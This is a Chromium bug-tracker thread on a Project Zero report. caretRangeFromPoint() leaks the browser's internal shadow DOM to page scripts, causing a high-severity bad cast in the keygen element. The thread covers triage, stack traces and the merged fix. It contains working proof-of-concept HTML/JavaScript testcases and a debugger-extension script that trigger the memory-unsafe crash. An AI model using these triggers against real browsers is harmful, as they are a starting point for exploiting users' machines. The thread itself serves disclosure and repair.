Please be advised that this is a Project Zero bug. Therefore this bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

Additional technical information follows:

A smaller testcase (thanks jannh@):

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

There are two issues I see here:

1.
caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript

2.
HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.

> 1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript

This is the problem.  Our assumption is only Blink C++ code can update UA shadow DOM.

Assign to hayato@.

yosin@, Could you take a look?
It looks related to selection.

Remove Blink>Editing>Selection, since shadowSelect() is designed for returning HTMLSelectionElement in shadow DOM tree rather than "Selection". I think it should be named shadowSelectElement() or another which states SELECT element.

I could not reproduce this w/ ToT.
var range = document.caretRangeFromPoint(50, 50) in #c1 returns Range Range([BODY,0], [BODY,1])
It doesn't leak nodes in UA shadow.

It sounds that HTMLKeygenElement's issue.
Since morrita@ is no longer working on Blink, let's mark this available so someone can pick this up.

I confirmed shadow_tree_container was a UA ShadowRoot on 56 canary Mac.

Okay. Let me take a look because we do not have a good owner for HTMLKeygenElement.

I appreciate if you could avoid to use "Blink>DOM>ShadowDOM" here because "Blink>DOM>ShadowDOM" should be used only for Shadow DOM's behavior which is defined in DOM Standard, to isolate our issues.

It a bug is about the wrong usage of UA Shadow DOM in some elements, it would be better to find an appropriate component for the element so that we could notify an owner of the element. I can not cover all usages of Shadow DOM. :(

I think leaking ShadowRoot is a fundamental issue of Shadow DOM implementation, not an issue of Shadow DOM users.  I guess this leak is reproducible without <keygen>, probably with nested ShadowRoots and user-select CSS properties.

Comment #7 and #11 sound opposite opinions. :(
(I have not started any investigation yet)

#c7 is done in Win Canary 56. So, Win Canary works fine.

I confirmed that `range.commonAncestorContainer` returns UA shadow root (with linux ToT)

jsfiddle: https://jsfiddle.net/cgf0wub0/2/

Point and dimension of KEYGEN element on Windows is
(8,8)x(100,100)

Folks, I appreciate the effort to figure out the bug, but please don't post instructions on how to reproduce high risk security bugs on third party services like jsfiddle :-)

+cc David from Apple Security. David, this impacts both Blink and WebKit. I am ccing you here so that you can uptake the fix when its ready. Please note that the fix should probably go in M55 which is scheduled around Dec 06.

Hayato@, so is the fix already in trunk ? Can we find what fixed it and merge to M55.

Ignore last part in c#18, it cannot be fixed since testcase is on trunk.

Can we do the easy fix first, like prevent this bad cast by doing the type check.

https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLKeygenElement.cpp?rcl=0&l=130

Similar pattern we should fix as well. Check out this one.

https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/forms/ColorInputType.cpp?q=%22?+toHTML%22&sq=package:chromium&l=221&ct=rc&cd=18&dr=C

@aarya: I appreciate the head's up!  Tracking with rdar://problem/29331830.

Note that I can't download anything from cluster fuzz, so please attach additional PoCs or test cases to this radar (via attachment or comment).  Thanks!

David, note that I also reported this to product-security@apple.com earlier today (I received an automated Acknowledgement with id 652926665).

Attaching minimized testcase from c#0.

Deleted: fuzz-106.html 949 bytes

fuzz-106.html 949 bytes View Download

Repro without <keygen>:

<!DOCTYPE html>
<div id=host style="position:absolute; height: 100px; width: 100px;"></div>
<script>
var host = document.querySelector('#host');
var r1 = host.createShadowRoot();
r1.innerHTML = '<select style="height:15px;"><option>aaa bbb</option></select>';
if (document.caretRangeFromPoint(50, 50).commonAncestorContainer.nodeType == Node.DOCUMENT_FRAGMENT_NODE)
  alert('Leak UA shadow');
</script>

**** Bulk edit -  please ignore if not applicable ****

A friendly reminder that M55 Stable is launch is coming soon! Your bug is labelled as Stable ReleaseBlock, pls make sure to land the fix and get it merged into the release branch latest by November 25th, 5:00 PM PST in order to make into the desktop Stable final build cut. Thank you!

I do not think this is a release blocker for M55.

yosi@, as we chatted casually last week, something is wrong in Range::creteAdjustedToTreeScope.

DCHECK(firstNode) in Range::createAdjustedToTreeScope failed in a debug build in my repro case.

https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/dom/Range.cpp?q=createAdjustedToTreeScope&sq=package:chromium&dr=CSs&l=109

Could you have any thought? Can not you reproduce this in Windows?



Here is the stack trace with printf debug.

Document::caretRangeFromPoint [1:1:1121/151215:Document.cpp:1257] x: 50 y: 50
 │  ├─ [1:1:1121/151216:Document.cpp:1262]  result.positiion(): 0x360091f6fdf0 (() SELECT pseudo=-webkit-keygen-select [path: <document #document> / <HTML> / <BODY> / <KEYGEN id=keygen_element style=position:absolute; height: 100px; width: 100px;> / <:: [0] UA-shadowroot> / <SELECT pseudo=-webkit-keygen-select>])@afterAnchor/TextAffinity::Downstream
 │  ├─ Range::createAdjustedToTreeScope [1:1:1121/151216:Range.cpp:107] treeScope: treeScope: rootNode: () #document [path: <document #document>]
 │  │  ├─ [1:1:1121/151216:Range.cpp:108] position: 0x360091f6fc90 (() #document-fragment [path: <document #document> / <HTML> / <BODY> / <KEYGEN id=keygen_element style=position:absolute; height: 100px; width: 100px;> / <:: [0] UA-shadowroot>])@offsetInAnchor[]
 │  │  ├─ [1:1:1121/151216:Range.cpp:113] Check failed: firstNode.


#0 0x7f328d5014ce base::debug::StackTrace::StackTrace()
#1 0x7f328d56f7df logging::LogMessage::~LogMessage()
#2 0x7f3273dc7e1e blink::Range::createAdjustedToTreeScope()
#3 0x7f3273c8b2b7 blink::Document::caretRangeFromPoint()
#4 0x7f3274d5a999 blink::DocumentV8Internal::caretRangeFromPointMethod()
#5 0x7f3274d5a518 blink::DocumentV8Internal::caretRangeFromPointMethodCallback()
#6 0x7f32823e82a5 v8::internal::FunctionCallbackArguments::Call()
#7 0x7f32824acc35 v8::internal::(anonymous namespace)::HandleApiCallHelper<>()
#8 0x7f32824aba28 v8::internal::Builtin_Impl_HandleApiCall()
#9 0x7f32824ab63b v8::internal::Builtin_HandleApiCall()
#10 0x2e3b8af043a7 <unknown>

Received signal 6
#0 0x7f328d5014ce base::debug::StackTrace::StackTrace()
#1 0x7f328d50100f base::debug::(anonymous namespace)::StackDumpSignalHandler()
#2 0x7f328d950330 <unknown>
#3 0x7f327a36ac37 gsignal
#4 0x7f327a36e028 abort
#5 0x7f328d4fd8e6 base::debug::(anonymous namespace)::DebugBreak()
#6 0x7f328d4fd8c8 base::debug::BreakDebugger()
#7 0x7f328d56fb57 logging::LogMessage::~LogMessage()
#8 0x7f3273dc7e1e blink::Range::createAdjustedToTreeScope()
#9 0x7f3273c8b2b7 blink::Document::caretRangeFromPoint()
#10 0x7f3274d5a999 blink::DocumentV8Internal::caretRangeFromPointMethod()
#11 0x7f3274d5a518 blink::DocumentV8Internal::caretRangeFromPointMethodCallback()
#12 0x7f32823e82a5 v8::internal::FunctionCallbackArguments::Call()
#13 0x7f32824acc35 v8::internal::(anonymous namespace)::HandleApiCallHelper<>()
#14 0x7f32824aba28 v8::internal::Builtin_Impl_HandleApiCall()
#15 0x7f32824ab63b v8::internal::Builtin_HandleApiCall()
#16 0x2e3b8af043a7 <unknown>
  r8: 00007ffccd473970  r9: 00007f327a484a00 r10: 0000000000000008 r11: 0000000000000202
 r12: 0000000000000000 r13: 00007ffccd475488 r14: 00003bd5d8264020 r15: 00007f3274d5a4c0
  di: 0000000000000001  si: 0000000000000001  bp: 00007ffccd473d40  bx: 00007f328d91d720
  dx: 0000000000000006  ax: 0000000000000000  cx: ffffffffffffffff  sp: 00007ffccd473c08
  ip: 00007f327a36ac37 efl: 0000000000000202 cgf: 0000000000000033 erf: 0000000000000000
 trp: 0000000000000000 msk: 0000000000000000 cr2: 0000000000000000
[end of stack trace]

This is indeed a releaseblocker. See Project Zero deadline in https://bugs.chromium.org/p/chromium/issues/detail?id=666246#c1. We do want to have atleast the explicit cast check for m55 which would fix the security vulnerability (c#21).

For Windows, we should use 100, 100 for Document#caretRangeFromPoint().

aarya: Here are a few more unchecked casts from UA shadow elements that look suspect.

https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/forms/TextFieldInputType.cpp?q=userAgentShadowRoot&sq=package:chromium&l=128&dr=C

https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/forms/MultipleFieldsTemporalInputTypeView.cpp?q=userAgentShadowRoot&sq=package:chromium&l=136&dr=C

https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLDetailsElement.cpp?q=userAgentShadowRoot&sq=package:chromium&l=115&dr=C

https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLOptGroupElement.cpp?q=userAgentShadowRoot&sq=package:chromium&l=184&dr=C

A friendly reminder that M55 Stable is launch is coming soon! Your bug is labelled as Stable ReleaseBlock, pls make sure to land the fix and get it merged into the release branch by November 25th, 5:00 PM PST in order to make into the desktop Stable final build cut. Thank you!

I think unchecked casts are intentionally done because there is an assumption that a structure of a UA shadow trees never changes once it is constructed.

This assumption itself sounds reasonable, I think.

If we find a case where this assumption is broken, we should fix the cause which breaks the assumption, rather than losing the assumption.

In |Document::caretRangeFromPoint()|, result of |hitTestInDocument()| is Position(ShadowRoot, AfterAnchor); where ShadowRoot is attached to SELECT element and it has only one child.

In |Range::createAdjustedToTreeScope()|, Range((ShadowRoot, AfterAnchor))->firstRange() returns nullptr then we leak ShadowRoot to caller.

In review: http://crrev.com/2519323002

Remove component:Blink>DOM>ShadowDOM, this is an issue of Range::createAdjustedToTreeScope() which doesn't handle the case when ShadowRoot is the last node.

> I think unchecked casts are intentionally done because there is an assumption
> that a structure of a UA shadow trees never changes once it is constructed.
> 
> This assumption itself sounds reasonable, I think.

Doesn't the debugger API intentionally provide access to UA shadow DOM?

See https://chromium.googlesource.com/chromium/src/+/master/third_party/WebKit/Source/core/inspector/browser_protocol.json :

                    "searchForUAShadowDOM",

                    { "name": "pierce", "type": "boolean", "optional": true, "description": "Whether or not iframes and shadow roots should be traversed when returning the subtree (default is false).", "experimental": true }

                    { "name": "includeUserAgentShadowDOM", "type": "boolean", "optional": true, "description": "True to search in user agent shadow DOM.", "experimental": true }

Note: The debugger API is exposed to appropriately privileged extensions.

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/794ce12c31a9d697aaca28e24078c5d9f6edfe59

commit 794ce12c31a9d697aaca28e24078c5d9f6edfe59
Author: yosin <yosin@chromium.org>
Date: Tue Nov 22 14:06:19 2016

Make Range::createAdjustedToTreeScope() to handle the shadow root at end of document tree correctly.

This patch makes |Range::createAdjustedToTreeScope()| to handle the shadow root
at end of document tree correctly.

Before this patch |createAdjustedToTreeScope()| to return the |Range| object
in shadow tree rather than document tree, since it attempts to check tree
scope of null-Node which is computed from collapsed |Range| object of the
position after shadow root.

This patch uses tree scope of anchor node of specified position instead of
first node in range, which is |nullptr| if there is no node after specified
position, e.g. |BeforeChildren| of the last node without child nodes,
|AfterAnchor| or |AfterChildren| of the last node. The tree scope of position
can be determined by anchor node rather than first node in the range because
tree scope of child nodes of anchor node is same as anchor node, tree scope of
before and after anchor node is also same as anchor node since parent of anchor
node and anchor node are in same tree scope.

BUG= 666246 
TEST=run_webkit_unit_tests --gtest_filter=RangeTest.createAdjustedToTreeScopeWithPositionInShadowTree

Review-Url: https://codereview.chromium.org/2519323002
Cr-Commit-Position: refs/heads/master@{#433851}

[modify] https://crrev.com/794ce12c31a9d697aaca28e24078c5d9f6edfe59/third_party/WebKit/Source/core/dom/Range.cpp
[modify] https://crrev.com/794ce12c31a9d697aaca28e24078c5d9f6edfe59/third_party/WebKit/Source/core/dom/RangeTest.cpp

ClusterFuzz has detected this issue as fixed in range 433807:434033.

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=6026031904587776

Fuzzer: ifratric-browserfuzzer-v3
Job Type: linux_ubsan_vptr_chrome
Platform Id: linux

Crash Type: Bad-cast
Crash Address: 0x096d4f9a3d80
Crash State:
  Bad-cast to blink::HTMLSelectElement from blink::Text
  blink::HTMLKeygenElement::shadowSelect
  blink::HTMLKeygenElement::parseAttribute
  
Recommended Security Severity: High

Fixed: https://cluster-fuzz.appspot.com/revisions?job=linux_ubsan_vptr_chrome&range=433807:434033

Minimized Testcase (0.93 Kb): https://cluster-fuzz.appspot.com/download/AMIfv96wA-iRe-69evi7i8d5JElw0BMhscMS79znEl0_1e-b-80t9GnGA8_I1x1frZeHnFjJsrfz7rZmPT_rzVs9f56FIhJK3emjJpXqhF5sMkiRdKa67Z-W_jrhbQXSvWsKbdKAW1jlxyoWEOi8-GQm8dafLJ9G1w?testcase_id=6026031904587776

See https://dev.chromium.org/Home/chromium-security/bugs/reproducing-clusterfuzz-bugs for more information.

If you suspect that the result above is incorrect, try re-doing that job on the test case report page.

ClusterFuzz testcase is verified as fixed, closing issue.

If this is incorrect, please add ClusterFuzz-Wrong label and re-open the issue.

After another day of bake time, please merge this fix to M55.

Your change meets the bar and is auto-approved for M55 (branch: 2883)

pfeldman@, does the comment #38 mean an extension can *modify* DOM nodes in UA shadow trees? 

> Doesn't the debugger API intentionally provide access to UA shadow DOM?

Our current assumption is that DOM nodes in UA shadow trees are never exposed to via Web-facing APIs.

I am not familiar with debugger API. I appreciate if someone could share more information how debugger API can be abused from users.

> pfeldman@, does the comment #38 mean an extension can *modify* DOM nodes in UA shadow trees?

Yes, it does. There seems to be some code in place that blocks shadow DOM modification via the debugger API, but the debugger can convert a DOM node handle pointing into the shadow root to a JS object handle, pass that handle to JS code and then mess with the object from inside the JS code. To reproduce, create an extension with the "debugger" permission and run the following JS code in it:

var tabId;

newtab = (url, cb) => chrome.tabs.create({url}, ({id}) => {tabId = id; cb()});
attach = () => chrome.debugger.attach({tabId}, '1.2');
rpc = (method, args, cb) => chrome.debugger.sendCommand({tabId}, method, args, cb);
reval = (code, cb) => rpc('Runtime.evaluate', {expression:code}, cb);

newtab('https://google.com/404', () => {
	attach();
	setTimeout(() => {
		reval(`document.body.innerHTML = '<keygen id=KG>'`);
		rpc('DOM.getDocument', {depth: -1, pierce: true}, ({root:{children:[{children:[,{children:[{shadowRoots:[{nodeId}]}]}]}]}}) => {
			rpc('DOM.resolveNode', {nodeId}, ({object:{objectId}}) => {
				rpc('Runtime.callFunctionOn', {
					objectId,
					functionDeclaration: `
						function f() {
							this.innerHTML = 'sorry, that node is gone';
							KG.disabled = true;
						}
					`
				});
			});
		});
	}, 1000);
});

(Note: This API isn't in stable yet, but this works on unstable and crashes the browser.)

Please merge your change to M55 branch 2883 ASAP. Please note that M55 merge has to happen latest before 4:00 PM PT, Monday (11/28) in order to make into the desktop final build cut.

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/e4df1d54a0ca2d2274b61db80144f6230c56c0b7

commit e4df1d54a0ca2d2274b61db80144f6230c56c0b7
Author: Yoshifumi Inoue <yosin@chromium.org>
Date: Fri Nov 25 01:41:16 2016

Make Range::createAdjustedToTreeScope() to handle the shadow root at end of document tree correctly.

This patch makes |Range::createAdjustedToTreeScope()| to handle the shadow root
at end of document tree correctly.

Before this patch |createAdjustedToTreeScope()| to return the |Range| object
in shadow tree rather than document tree, since it attempts to check tree
scope of null-Node which is computed from collapsed |Range| object of the
position after shadow root.

This patch uses tree scope of anchor node of specified position instead of
first node in range, which is |nullptr| if there is no node after specified
position, e.g. |BeforeChildren| of the last node without child nodes,
|AfterAnchor| or |AfterChildren| of the last node. The tree scope of position
can be determined by anchor node rather than first node in the range because
tree scope of child nodes of anchor node is same as anchor node, tree scope of
before and after anchor node is also same as anchor node since parent of anchor
node and anchor node are in same tree scope.

BUG= 666246 
TEST=run_webkit_unit_tests --gtest_filter=RangeTest.createAdjustedToTreeScopeWithPositionInShadowTree

Review-Url: https://codereview.chromium.org/2519323002
Cr-Commit-Position: refs/heads/master@{#433851}
(cherry picked from commit 794ce12c31a9d697aaca28e24078c5d9f6edfe59)

Review URL: https://codereview.chromium.org/2531483003 .

Cr-Commit-Position: refs/branch-heads/2883@{#659}
Cr-Branched-From: 614d31daee2f61b0180df403a8ad43f20b9f6dd7-refs/heads/master@{#423768}

[modify] https://crrev.com/e4df1d54a0ca2d2274b61db80144f6230c56c0b7/third_party/WebKit/Source/core/dom/Range.cpp
[modify] https://crrev.com/e4df1d54a0ca2d2274b61db80144f6230c56c0b7/third_party/WebKit/Source/core/dom/RangeTest.cpp

ok, we had a wrong assumption, and need to check element types even in UA shadow. I filed  Issue 668970  for it.

> ok, we had a wrong assumption, and need to check element types even in UA shadow. I filed  Issue 668970  for it.

Can someone CC me on  Issue 668970  as well?  Thanks!

Yes, please check the cast type explicitly in two places for extra safety. This is good defence in depth, unless it is too perf sensitive code.

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot